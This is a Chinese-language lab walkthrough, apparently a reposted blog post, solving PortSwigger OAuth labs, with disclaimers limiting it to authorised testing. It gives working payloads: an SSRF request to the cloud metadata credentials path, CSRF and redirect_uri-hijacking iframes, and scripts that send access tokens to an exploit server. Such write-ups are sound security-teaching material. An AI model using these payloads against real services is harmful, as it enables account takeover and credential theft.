文章总结: 本文详细分析了OAuth认证中的多个安全漏洞及利用方法,包括隐式认证绕过、通过OpenID动态客户端注册进行SSRF、CSRF缺陷导致的用户绑定与redirect_uri劫持、scope篡改升级信息获取以及通过开放重定向窃取访问令牌。文章提供了具体的攻击步骤和Payload示例,强调这些漏洞在实战中的危害性,并提醒仅用于授权测试。
综合评分: 82
文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全开发
OAuth打靶
原创
一个努力的学渣
一个努力的学渣
一个努力的学渣
2026年4月1日 12:01
北京
在小说阅读器读本章
去阅读
免责声明
本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!
靶场:portswigger.net/web-security/all-labs#oauth-authentication
OAuth隐式认证绕过
首先,使用提供的账号和密码进行登录
之后授权
OAuth授权:
可以看到/authenticate 请求携带 OAuth 颁发的 Token + 客户端指定的用户账户 email、username 发起了对应读取邮箱账户属性的资源请求,此处用户的身份参数是客户端可控的,题目要求登录到 carlos 的帐户([email protected])
之后退出登录,重新发起授权流程,拦截 /authenticate 请求修改 email 即可
通过OpenID动态客户端注册进行SSRF
某些客户端专用数据被OAuth服务以不安全的方式使用,从而暴露了SSRF的潜在向量
首先,登录账号
之后在Burp中找到OAuth的地址,然后访问配置文件
https://oauth-0a02006e03fe745380fd74550281008e.oauth-server.net/.well-known/openid-configuration
之后在OAuth服务中注册自己的客户申请
POST /reg HTTP/2Host: oauth-0a02006e03fe745380fd74550281008e.oauth-server.netContent-Type: application/jsonContent-Length: 67{ "redirect_uris" : [ "https://example.com" ]}
响应包含与新客户端应用程序关联的各种元数据,包括一个新的client_id
对OAuth流程进行审计,并注意“授权”页面(用户同意请求的权限)会显示客户端应用程序的徽标。这是从/client/CLIENT-ID/logo。我们从OpenID规范中了解到,客户端应用程序可以通过以下方式为其标志提供URLlogo_uri动态注册期间的房产。发送GET /client/CLIENT-ID/logo请求购买备用
之后返回POST /reg请求您之前创建。添加logo_uri财产
POST /reg HTTP/2Host: oauth-0a02006e03fe745380fd74550281008e.oauth-server.netContent-Type: application/jsonContent-Length: 141{ "redirect_uris" : [ "https://example.com" ], "logo_uri" : "https://rc7cdny6qvhcak5l5qbcstipkgq7e12q.oastify.com"}
之后转到GET /client/CLIENT-ID/logo请求。替换CLIENT-ID在新路径中,只需复制并发送请求即可
把这个数据包替换为/client/CLIENT-ID/logo请求
之后回到POST /reg请求使用 Repeater 并替换当前版本logo_uri目标网址的值
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
POST /reg HTTP/2Host: oauth-0a02006e03fe745380fd74550281008e.oauth-server.netContent-Type: application/jsonContent-Length: 160{ "redirect_uris" : [ "https://example.com" ], "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"}
之后复制新请求client_id
响应中包含 OAuth 服务提供商云环境的敏感元数据,包括密钥访问密钥
成功通关
存在CSRF缺陷用户被绑定 无state
登录逻辑:
首先使用自身登录窗口登录
之后使用第三方接口可直接登录
数据包:GET /auth?client_id=kohgbsiyom4utdf3xsp3w&redirect_uri=https://0a0100e304517f1d81d97a6d00f9003e.web-security-academy.net/oauth-login&response_type=code&scope=openid%20profile%20email HTTP/1.1授权请求:client_id:客户端在授权服务器的ID(公开)redirect_uri:授权完成后,授权服务器回调客户端的地址response_type:声明授权类型,code是授权码授权scope:告诉授权服务器,客户端要访问哪些用户数据,profile是仅请求用户的基本信息(如用户名、头像)state:随机字符串,防止CSRF(请求中没有,所以可以尝试CSRF)授权码授权流程:1.客户端发起授权请求2.用户认证与授权3.返回授权码4.客户端换取访问令牌5.返回令牌
利用条件:CSRF(授权码Oauth,无state)
限制:需要对方配合,需要对方去访问
攻击者:构造一个页面,获取code(部署到自己服务器),之后让对方去访问这个页面,获取对方的code
利用:
模拟攻击者页面
利用之前,需要注意:
1.一定是登录状态
2.开启Burp手工拦截
之后点击:Attach a social profile
之后关闭Burp拦截
为什么要丢弃?
因为不丢弃这里就直接登录了,这里属于第三步:返回授权码
之后构造恶意页面:
store:保存
Deliver exploit to victim:模拟将CSRF攻击链接发送给博客站点管理员(对方),然后管理员自动去触发
CSRF缺陷redirect_uri劫持code帐户
核心:让其他用户去访问授权服务器,之后修改返回地址,将授权后的code发送到返回地址上(攻击者部署的服务器)
登录逻辑流程:
点击登录,请求第三方接口(授权服务器)
如何利用呢?
先使用官方提供的攻击服务器
之后登录用户
在登录的时候,把地址改为我们自己的服务器,之后第三方接口会给我们自己的服务器发送一个code
之后利用:
先正常登录账号,完成OAuth授权
之后退出登录,然后再次登录
因为之前登录过OAuth,所以不需要输入凭据来进行身份验证,可快速登录
之后发现两个有意思的请求
既然code在返回包中,那我们把请求指向我们的恶意服务器就能得到code从而进行登录其他用户
之后退出登录,手工抓包
之后去攻击者服务器查看是否收到code
得到code
之后返回攻击者服务器,创建恶意iframe
原始:<iframe src="https://oauth-YOUR-LAB-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
构造后的:<iframe src="https://oauth-0a7d008a0469799680c20141021700e7.oauth-server.net/auth?client_id=lqq2qnglngxkoizu0pghf&redirect_uri=https://exploit-0a6600b004ba798b800402b301fa0007.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>
把网址复制下来之后:需要把redirect_uri改为攻击者服务器地址:https://exploit-0a6600b004ba798b800402b301fa0007.exploit-server.net/
之后得到其他用户(管理员)code
之后退出博客
构造URL:https://0a76008b04af790e807603b7008100bf.web-security-academy.net/oauth-callback?code=W2uONeIjKwiiaf-0b7R8z_Xz2uGwQfIUOuXjTkIAbhI
scope篡改升级范围信息获取
正常情况下的数据包:
如何利用?
如果返回包中带有当前用户的手机号,代表存在scope篡改升级范围信息获取漏洞
这里scope范围怎么知道呢?(可根据页面已有的功能去推算,如用户名、头像、手机号、邮箱、角色信息等)
通过开放重定向窃取 OAuth 访问令牌
首先登录账户,发现数据包中请求/me,博客网站会向用户信息端点进行 API 调用/me然后使用它获取的数据来登录用户,这里可以使用Ctrl+R做个保存
之后退出登录,重新登录用户
找到典型的OAuth数据包,Ctrl+R
这里不能使用外部链接,因为有白名单
之后退出登录,重新登录并抓包
确认redirect_uri参数实际上容易受到目录遍历的影响,将其更改为:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1
转发剩余的请求,并观察最终会被重定向到第一篇博客文章。在浏览器中,请注意访问令牌作为片段包含在URL中
URL:https://0a0600310380332581f3989500c1006f.web-security-academy.net/post?postId=1#access_token=beCn9_MBzb46ItRoLWT_8D4PwhiiulW2M-Y1riY33dR&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
之后使用 path参数。请注意,这是一个开放的重定向。你甚至可以提供一个绝对的网址,以引导定向到完全不同的域名,例如你的漏洞利用服务器
制作一个恶意的URL,结合这些漏洞。需要一个URL,以启动OAuth流程redirect_uri指向打开的重定向,该重定向随后将受害者转发到您的漏洞利用服务器:
构造之前:https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
构造之后:https://oauth-0a8600e3032cec78822d180402d70034.oauth-server.net/auth?client_id=ytpp9a2da1zsibcnszngw&redirect_uri=https://0a4200510375ec54824b1a63008f0079.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aba000403bdecf6821b19f601090015.exploit-server.net/&response_type=token&nonce=-1737378474&scope=openid%20profile%20email
path:攻击者服务器
之后复制为url,并在网址中打开,正常情况下,应该会被重定向到漏洞利用服务器的“Hello,world!”页面,以及 URL 片段中的访问令牌
URL:https://exploit-0aba000403bdecf6821b19f601090015.exploit-server.net/#access_token=QayRkrqaKqs7yRWHwRqW9Gc7F0cZJpMCdXCoqOZCDD6&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
之后创建一个漏洞,首先迫使受害者访问你的恶意网址,然后执行你刚刚测试的脚本,以窃取他们的访问令牌
提供的POC:<script> if (!document.location.hash) { window.location = 'https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }</script>
构造之后的POC:<script> if (!document.location.hash) { window.location = 'https://oauth-0a8600e3032cec78822d180402d70034.oauth-server.net/auth?client_id=ytpp9a2da1zsibcnszngw&redirect_uri=https://0a4200510375ec54824b1a63008f0079.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aba000403bdecf6821b19f601090015.exploit-server.net/exploit/&response_type=token&nonce=-1737378474&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) }</script>
window.location:跟上一步一样,只不过path需要加/exploit/
之后点击:Access log
之后找到第一步保存的GET /me请求并替换其中的令牌Authorization: Bearer用刚复制的那个头。发送请求。
成功调用管理员的API信息
通过代理页面窃取 OAuth 访问令牌
首先登录用户,之后退出重新登录
然后点开其他页面发表个内容
这里说是使用的是postMessage()发送该方法window.location.href房产到其母窗口。关键是,它允许将消息发布到任何来源(*)
<script> // 1. 页面加载时,向父窗口发送【加载完成】消息 parent.postMessage({type: 'onload', data: window.location.href}, '*') // 2. 表单提交处理函数(绑定到评论表单的提交事件) // form:表单DOM元素,ev:提交事件对象 function submitForm(form, ev) { // 阻止表单默认的HTTP提交行为(避免页面刷新) ev.preventDefault(); // 获取id为comment-form的表单所有输入数据(键值对) const formData = new FormData(document.getElementById("comment-form")); // 解析当前页面URL的hash参数(#后面的参数,如#id=1&name=test) // substr(1) 去掉hash开头的 # 号 const hashParams = new URLSearchParams(window.location.hash.substr(1)); // 定义空对象,用于合并 表单数据 + hash参数 const o = {}; // 遍历表单数据,存入对象o formData.forEach((v, k) => o[k] = v); // 遍历hash参数,存入对象o(同名键会覆盖表单数据) hashParams.forEach((v, k) => o[k] = v); // 3. 向父窗口发送【评论提交】消息,携带合并后的数据 parent.postMessage({type: 'oncomment', content: o}, '*'); // 清空表单所有输入框 form.reset(); }</script>
复制网址
https://oauth-0ac500b903d0d5e9801e0b5d027300bc.oauth-server.net/auth?client_id=vcb0avyn558cq4klchal3&redirect_uri=https://0a3c0001031ed52780fd0dbc00fc00d9.web-security-academy.net/oauth-callback&response_type=token&nonce=696934537&scope=openid%20profile%20email
之后在漏洞利用服务器并创建一个iframe,其中src属性是你刚刚复制的网址。使用目录遍历来更改redirect_uri以便它指向评论表单
<iframe src="https://oauth-0ac500b903d0d5e9801e0b5d027300bc.oauth-server.net/auth?client_id=vcb0avyn558cq4klchal3&redirect_uri=https://0a3c0001031ed52780fd0dbc00fc00d9.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=696934537&scope=openid%20profile%20email"></iframe>
之后在此下方添加一个合适的脚本,用于监听网页消息,并将内容输出到某个地方。例如,您可以使用以下脚本在利用服务器的访问日志中显示该网页消息
<script> window.addEventListener('message', function(e) { fetch("/" + encodeURIComponent(e.data.data)) }, false)</script>
完整POC:<iframe src="https://oauth-0ac500b903d0d5e9801e0b5d027300bc.oauth-server.net/auth?client_id=vcb0avyn558cq4klchal3&redirect_uri=https://0a3c0001031ed52780fd0dbc00fc00d9.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=696934537&scope=openid%20profile%20email"></iframe><script> window.addEventListener('message', function(e) { fetch("/" + encodeURIComponent(e.data.data)) }, false)</script>
之后点击Access log
发现请求,其中路径为评论表单的完整网址,以及包含访问令牌的片段
之后 发送GET /me请求
得到管理员账户的API密钥信息
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:一个努力的学渣 一个努力的学渣
一个努力的学渣《OAuth打靶》